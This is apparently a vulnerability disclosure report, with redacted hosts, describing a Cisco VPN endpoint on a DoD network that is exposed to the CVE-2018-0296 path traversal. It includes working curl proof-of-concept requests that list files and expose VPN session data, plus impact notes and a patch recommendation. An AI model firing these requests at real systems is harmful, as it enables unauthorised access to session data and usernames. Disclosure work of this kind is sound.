[CVE-2018-0296] Cisco VPN path traversal on the https://██████████

How it was found

Description

I discovered previously unidentified instance https://████████ in DOD network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296) It also accepts username and password for login flow instead secure cert auth.

POC

curl -i -k "https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is

████

We can disclose user sessions by quering /sessions:

curl -i -k "https://█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Suggested fix

Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:

curl -i -k "https://mvpn3.█████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Impact

Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cacuse DOS attacks